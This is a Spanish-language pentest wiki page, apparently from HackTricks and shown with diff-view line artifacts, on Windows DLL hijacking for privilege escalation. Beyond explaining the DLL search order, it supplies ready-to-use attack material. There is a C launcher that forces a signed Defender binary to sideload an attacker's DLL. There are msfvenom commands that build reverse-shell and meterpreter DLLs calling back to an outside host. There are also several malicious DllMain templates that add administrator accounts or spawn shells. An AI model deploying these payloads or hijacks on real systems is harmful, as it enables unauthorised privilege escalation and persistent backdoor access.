Se emplean varios métodos para DLL hijacking, y su efectividad depende de la estrategia de carga de DLL de la aplicación:
|
||||
|
||||
1. **DLL Replacement**: Sustituir una DLL legítima por una maliciosa, opcionalmente usando DLL Proxying para preservar la funcionalidad original de la DLL.
|
||||
2. **DLL Search Order Hijacking**: Colocar la DLL maliciosa en una ruta de búsqueda antes que la legítima, explotando el patrón de búsqueda de la aplicación.
|
||||
3. **Phantom DLL Hijacking**: Crear una DLL maliciosa para que la aplicación la cargue, creyendo que es una DLL requerida inexistente.
|
||||
4. **DLL Redirection**: Modificar parámetros de búsqueda como %PATH% o archivos .exe.manifest / .exe.local para dirigir la aplicación hacia la DLL maliciosa.
|
||||
5. **WinSxS DLL Replacement**: Sustituir la DLL legítima por una maliciosa en el directorio WinSxS, un método a menudo asociado con DLL side-loading.
|
||||
6. **Relative Path DLL Hijacking**: Colocar la DLL maliciosa en un directorio controlado por el usuario junto con la aplicación copiada, asemejándose a técnicas de Binary Proxy Execution.
|
||||
|
||||
## Buscar Dlls faltantes
|
||||
|
||||
La forma más común de encontrar DLLs faltantes dentro de un sistema es ejecutar [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) de sysinternals, **configurando** los **siguientes 2 filtros**:
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
y simplemente mostrar la **File System Activity**:
|
||||
|
||||
.png>)
|
||||
|
||||
Si estás buscando **DLLs faltantes en general** deja esto ejecutándose durante unos **segundos**.\
|
||||
Si buscas una **DLL faltante dentro de un ejecutable específico** debes configurar **otro filtro como "Process Name" "contains" "\<exec name>"**, ejecutarlo y detener la captura de eventos.
|
||||
|
||||
## Explotación de DLLs faltantes
|
||||
|
||||
Para poder escalate privileges, la mejor oportunidad es poder **escribir una DLL que un proceso con privilegios intentará cargar** en alguno de los **lugares donde será buscada**. Por lo tanto, podremos **escribir** una DLL en una **carpeta** donde la **DLL se busca antes** de la carpeta donde está la **DLL original** (caso raro), o seremos capaces de **escribir en alguna carpeta donde se va a buscar la DLL** y la **DLL original no exista** en ninguna carpeta.
|
||||
|
||||
### Dll Search Order
|
||||
|
||||
**Inside the** [**Microsoft documentation**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **you can find how the Dlls are loaded specifically.**
|
||||
|
||||
Las aplicaciones de Windows buscan DLLs siguiendo un conjunto de rutas de búsqueda predefinidas, respetando una secuencia particular. El problema del DLL hijacking aparece cuando una DLL maliciosa se coloca estratégicamente en uno de estos directorios, asegurando que se cargue antes que la DLL auténtica. Una solución para prevenir esto es asegurarse de que la aplicación use rutas absolutas cuando hace referencia a las DLL que requiere.
|
||||
|
||||
Puedes ver el **DLL search order on 32-bit** systems abajo:
|
||||
|
||||
1. The directory from which the application loaded.
|
||||
2. The system directory. Use the [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) function to get the path of this directory.(_C:\Windows\System32_)
|
||||
3. The 16-bit system directory. There is no function that obtains the path of this directory, but it is searched. (_C:\Windows\System_)
|
||||
4. The Windows directory. Use the [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) function to get the path of this directory.
|
||||
1. (_C:\Windows_)
|
||||
5. The current directory.
|
||||
6. The directories that are listed in the PATH environment variable. Note that this does not include the per-application path specified by the **App Paths** registry key. The **App Paths** key is not used when computing the DLL search path.
|
||||
|
||||
Ese es el orden de búsqueda **por defecto** con **SafeDllSearchMode** habilitado. Cuando está deshabilitado, el directorio actual asciende a la segunda posición. Para desactivar esta característica, crea el valor de registro **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** y configúralo a 0 (por defecto está habilitado).
|
||||
|
||||
Si la función [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) se llama con **LOAD_WITH_ALTERED_SEARCH_PATH**, la búsqueda comienza en el directorio del módulo ejecutable que está cargando **LoadLibraryEx**.
|
||||
|
||||
Finalmente, ten en cuenta que **una DLL puede cargarse indicando la ruta absoluta en lugar del nombre**. En ese caso esa DLL **solo será buscada en esa ruta** (si la DLL tiene dependencias, estas se buscarán como si se hubieran cargado solo por nombre).
|
||||
|
||||
Existen otras formas de alterar el orden de búsqueda pero no las voy a explicar aquí.
|
||||
|
||||
### Forcing sideloading via RTL_USER_PROCESS_PARAMETERS.DllPath
|
||||
|
||||
Una forma avanzada de influir de manera determinista en la ruta de búsqueda de DLL de un proceso recién creado es establecer el campo DllPath en RTL_USER_PROCESS_PARAMETERS al crear el proceso con las APIs nativas de ntdll. Al proporcionar un directorio controlado por el atacante aquí, un proceso objetivo que resuelva una DLL importada por nombre (sin ruta absoluta y sin usar las banderas de carga seguras) puede verse forzado a cargar una DLL maliciosa desde ese directorio.
|
||||
|
||||
Idea clave
|
||||
- Build the process parameters with RtlCreateProcessParametersEx and provide a custom DllPath that points to your controlled folder (e.g., the directory where your dropper/unpacker lives).
|
||||
- Create the process with RtlCreateUserProcess. When the target binary resolves a DLL by name, the loader will consult this supplied DllPath during resolution, enabling reliable sideloading even when the malicious DLL is not colocated with the target EXE.
|
||||
|
||||
Notas/limitaciones
|
||||
- This affects the child process being created; it is different from SetDllDirectory, which affects the current process only.
|
||||
- The target must import or LoadLibrary a DLL by name (no absolute path and not using LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectories).
|
||||
- KnownDLLs and hardcoded absolute paths cannot be hijacked. Forwarded exports and SxS may change precedence.
|
||||
|
||||
Minimal C example (ntdll, wide strings, simplified error handling):
|
||||
```c
|
||||
#include <windows.h>
|
||||
#include <winternl.h>
|
||||
#pragma comment(lib, "ntdll.lib")
|
||||
|
||||
// Prototype (not in winternl.h in older SDKs)
|
||||
typedef NTSTATUS (NTAPI *RtlCreateProcessParametersEx_t)(
|
||||
PRTL_USER_PROCESS_PARAMETERS *pProcessParameters,
|
||||
PUNICODE_STRING ImagePathName,
|
||||
PUNICODE_STRING DllPath,
|
||||
PUNICODE_STRING CurrentDirectory,
|
||||
PUNICODE_STRING CommandLine,
|
||||
PVOID Environment,
|
||||
PUNICODE_STRING WindowTitle,
|
||||
PUNICODE_STRING DesktopInfo,
|
||||
PUNICODE_STRING ShellInfo,
|
||||
PUNICODE_STRING RuntimeData,
|
||||
ULONG Flags
|
||||
);
|
||||
|
||||
typedef NTSTATUS (NTAPI *RtlCreateUserProcess_t)(
|
||||
PUNICODE_STRING NtImagePathName,
|
||||
ULONG Attributes,
|
||||
PRTL_USER_PROCESS_PARAMETERS ProcessParameters,
|
||||
PSECURITY_DESCRIPTOR ProcessSecurityDescriptor,
|
||||
PSECURITY_DESCRIPTOR ThreadSecurityDescriptor,
|
||||
HANDLE ParentProcess,
|
||||
BOOLEAN InheritHandles,
|
||||
HANDLE DebugPort,
|
||||
HANDLE ExceptionPort,
|
||||
PRTL_USER_PROCESS_INFORMATION ProcessInformation
|
||||
);
|
||||
|
||||
static void DirFromModule(HMODULE h, wchar_t *out, DWORD cch) {
|
||||
DWORD n = GetModuleFileNameW(h, out, cch);
|
||||
for (DWORD i=n; i>0; --i) if (out[i-1] == L'\\') { out[i-1] = 0; break; }
|
||||
}
|
||||
|
||||
int wmain(void) {
|
||||
// Target Microsoft-signed, DLL-hijackable binary (example)
|
||||
const wchar_t *image = L"\\??\\C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe";
|
||||
|
||||
// Build custom DllPath = directory of our current module (e.g., the unpacked archive)
|
||||
wchar_t dllDir[MAX_PATH];
|
||||
DirFromModule(GetModuleHandleW(NULL), dllDir, MAX_PATH);
|
||||
|
||||
UNICODE_STRING uImage, uCmd, uDllPath, uCurDir;
|
||||
RtlInitUnicodeString(&uImage, image);
|
||||
RtlInitUnicodeString(&uCmd, L"\"C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe\"");
|
||||
RtlInitUnicodeString(&uDllPath, dllDir); // Attacker-controlled directory
|
||||
RtlInitUnicodeString(&uCurDir, dllDir);
|
||||
|
||||
RtlCreateProcessParametersEx_t pRtlCreateProcessParametersEx =
|
||||
(RtlCreateProcessParametersEx_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateProcessParametersEx");
|
||||
RtlCreateUserProcess_t pRtlCreateUserProcess =
|
||||
(RtlCreateUserProcess_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateUserProcess");
|
||||
|
||||
RTL_USER_PROCESS_PARAMETERS *pp = NULL;
|
||||
NTSTATUS st = pRtlCreateProcessParametersEx(&pp, &uImage, &uDllPath, &uCurDir, &uCmd,
|
||||
NULL, NULL, NULL, NULL, NULL, 0);
|
||||
if (st < 0) return 1;
|
||||
|
||||
RTL_USER_PROCESS_INFORMATION pi = {0};
|
||||
st = pRtlCreateUserProcess(&uImage, 0, pp, NULL, NULL, NULL, FALSE, NULL, NULL, &pi);
|
||||
if (st < 0) return 1;
|
||||
|
||||
// Resume main thread etc. if created suspended (not shown here)
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Operational usage example
|
||||
- Coloca un xmllite.dll malicioso (exportando las funciones requeridas o haciendo proxy al real) en tu directorio DllPath.
|
||||
- Lanza un binario firmado que sepas que busca xmllite.dll por nombre usando la técnica anterior. El loader resuelve la importación vía el DllPath suministrado y sideloads tu DLL.
|
||||
|
||||
Esta técnica se ha observado en-the-wild para impulsar cadenas de sideloading multi-etapa: un launcher inicial deja caer un DLL auxiliar, que luego crea un binario firmado por Microsoft, hijackeable, con un DllPath personalizado para forzar la carga del DLL del atacante desde un directorio de staging.
|
||||
|
||||
|
||||
#### Excepciones en el orden de búsqueda de dll según la documentación de Windows
|
||||
|
||||
Ciertas excepciones al orden estándar de búsqueda de DLL se señalan en la documentación de Windows:
|
||||
|
||||
- Cuando se encuentra una **DLL que comparte su nombre con otra ya cargada en memoria**, el sistema omite la búsqueda habitual. En su lugar, realiza una comprobación de redirección y de manifiesto antes de usar la DLL ya en memoria. **En este escenario, el sistema no realiza una búsqueda de la DLL**.
|
||||
- En los casos en que la DLL es reconocida como una **known DLL** para la versión actual de Windows, el sistema utilizará su versión de la known DLL, junto con cualquiera de sus DLL dependientes, **omitiendo el proceso de búsqueda**. La clave del registro **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** contiene la lista de estas known DLLs.
|
||||
- Si una **DLL tiene dependencias**, la búsqueda de estas DLL dependientes se realiza como si hubieran sido indicadas solo por sus **module names**, independientemente de si la DLL inicial fue identificada mediante una ruta completa.
|
||||
|
||||
### Escalada de privilegios
|
||||
|
||||
**Requisitos**:
|
||||
|
||||
- Identifica un proceso que opere o vaya a operar bajo **privilegios diferentes** (movimiento horizontal o lateral), que **carezca de una DLL**.
|
||||
- Asegúrate de que **exista acceso de escritura** en cualquier **directorio** en el que se **buscará la DLL**. Esta ubicación puede ser el directorio del ejecutable o un directorio dentro de la ruta del sistema.
|
||||
|
||||
Sí, los requisitos son complicados de encontrar ya que **por defecto es algo raro encontrar un ejecutable privilegiado que le falte una dll** y es aún **más raro tener permisos de escritura en una carpeta de la ruta del sistema** (por defecto no puedes). Pero, en entornos mal configurados esto es posible.\
|
||||
En el caso de que tengas suerte y cumplas los requisitos, podrías revisar el proyecto [UACME](https://github.com/hfiref0x/UACME). Incluso si **el objetivo principal del proyecto es bypass UAC**, puede que encuentres allí una **PoC** de un Dll hijaking para la versión de Windows que puedas usar (probablemente solo cambiando la ruta de la carpeta donde tienes permisos de escritura).
|
||||
|
||||
Ten en cuenta que puedes **comprobar tus permisos en una carpeta** haciendo:
|
||||
```bash
|
||||
accesschk.exe -dqv "C:\Python27"
|
||||
icacls "C:\Python27"
|
||||
```
|
||||
Y **comprueba los permisos de todas las carpetas dentro de PATH**:
|
||||
```bash
|
||||
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
|
||||
```
|
||||
También puedes comprobar las importaciones de un ejecutable y las exportaciones de una dll con:
|
||||
```c
|
||||
dumpbin /imports C:\path\Tools\putty\Putty.exe
|
||||
dumpbin /export /path/file.dll
|
||||
```
|
||||
Para una guía completa sobre cómo **abusar Dll Hijacking para escalar privilegios** con permisos para escribir en una **carpeta del System Path** consulta:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Herramientas automatizadas
|
||||
|
||||
[**Winpeas** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) comprobará si tienes permisos de escritura en cualquier carpeta dentro del PATH del sistema.\
|
||||
Otras herramientas automatizadas interesantes para descubrir esta vulnerabilidad son las **PowerSploit functions**: _Find-ProcessDLLHijack_, _Find-PathDLLHijack_ y _Write-HijackDll._
|
||||
|
||||
### Example
|
||||
|
||||
En caso de encontrar un escenario explotable, una de las cosas más importantes para explotarlo con éxito sería **crear una dll que exporte al menos todas las funciones que el ejecutable importará de ella**. De todas formas, ten en cuenta que Dll Hijacking resulta útil para [escalar desde el nivel de Integridad Medium a High **(bypassing UAC)**](../authentication-credentials-uac-and-efs.md#uac) o desde[ **High Integrity a SYSTEM**](#from-high-integrity-to-system)**.** Puedes encontrar un ejemplo de **cómo crear una dll válida** dentro de este estudio sobre dll hijacking enfocado en dll hijacking para ejecución: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
|
||||
Además, en la **siguiente secció**n puedes encontrar algunos **códigos dll básicos** que podrían ser útiles como **plantillas** o para crear una **dll con funciones no requeridas exportadas**.
|
||||
|
||||
## **Creación y compilación de Dlls**
|
||||
|
||||
### **Proxificación de Dll**
|
||||
|
||||
Básicamente un **Dll proxy** es un Dll capaz de **ejecutar tu código malicioso cuando se carga** pero también de **exponer** y **funcionar** como se **espera** reencaminando todas las llamadas a la librería real.
|
||||
|
||||
Con la herramienta [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) o [**Spartacus**](https://github.com/Accenture/Spartacus) puedes realmente **indicar un ejecutable y seleccionar la librería** que quieres proxificar y **generar una proxified dll** o **indicar la Dll** y **generar una proxified dll**.
|
||||
|
||||
### **Meterpreter**
|
||||
|
||||
**Get rev shell (x64):**
|
||||
```bash
|
||||
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
|
||||
```
|
||||
**Obtener un meterpreter (x86):**
|
||||
```bash
|
||||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
|
||||
```
|
||||
**Crear un usuario (x86 no vi una versión x64):**
|
||||
```
|
||||
msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
|
||||
```
|
||||
### Tu propio
|
||||
|
||||
Ten en cuenta que en varios casos la Dll que compiles debe **exportar varias funciones** que van a ser cargadas por el victim process, si estas funciones no existen la **binary no podrá cargarlas** y el **exploit fallará**.
|
||||
```c
|
||||
// Tested in Win10
|
||||
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
|
||||
#include <windows.h>
|
||||
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
|
||||
switch(dwReason){
|
||||
case DLL_PROCESS_ATTACH:
|
||||
system("whoami > C:\\users\\username\\whoami.txt");
|
||||
WinExec("calc.exe", 0); //This doesn't accept redirections like system
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
break;
|
||||
case DLL_THREAD_ATTACH:
|
||||
break;
|
||||
case DLL_THREAD_DETACH:
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
```
|
||||
|
||||
```c
|
||||
// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
|
||||
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll
|
||||
|
||||
#include <windows.h>
|
||||
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
|
||||
if (dwReason == DLL_PROCESS_ATTACH){
|
||||
system("cmd.exe /k net localgroup administrators user /add");
|
||||
ExitProcess(0);
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
```
|
||||
|
||||
```c
|
||||
//x86_64-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp
|
||||
//x86_64-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
int owned()
|
||||
{
|
||||
WinExec("cmd.exe /c net user cybervaca Password01 ; net localgroup administrators cybervaca /add", 0);
|
||||
exit(0);
|
||||
return 0;
|
||||
}
|
||||
|
||||
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
|
||||
{
|
||||
owned();
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
```c
|
||||
//Another possible DLL
|
||||
// i686-w64-mingw32-gcc windows_dll.c -shared -lws2_32 -o output.dll
|
||||
|
||||
#include<windows.h>
|
||||
#include<stdlib.h>
|
||||
#include<stdio.h>
|
||||
|
||||
void Entry (){ //Default function that is executed when the DLL is loaded
|
||||
system("cmd");
|
||||
}
|
||||
|
||||
BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
|
||||
switch (ul_reason_for_call){
|
||||
case DLL_PROCESS_ATTACH:
|
||||
CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0);
|
||||
break;
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
case DLL_PROCESS_DEATCH:
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
```
|
||||
## Referencias
|
||||
|
||||
- [https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e](https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e)
|
||||
- [https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html](https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html)
|
||||
|
||||
|
||||
|
||||
- [Check Point Research – Nimbus Manticore Deploys New Malware Targeting Europe](https://research.checkpoint.com/2025/nimbus-manticore-deploys-new-malware-targeting-europe/)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
Loading…
x
Reference in New Issue
Block a user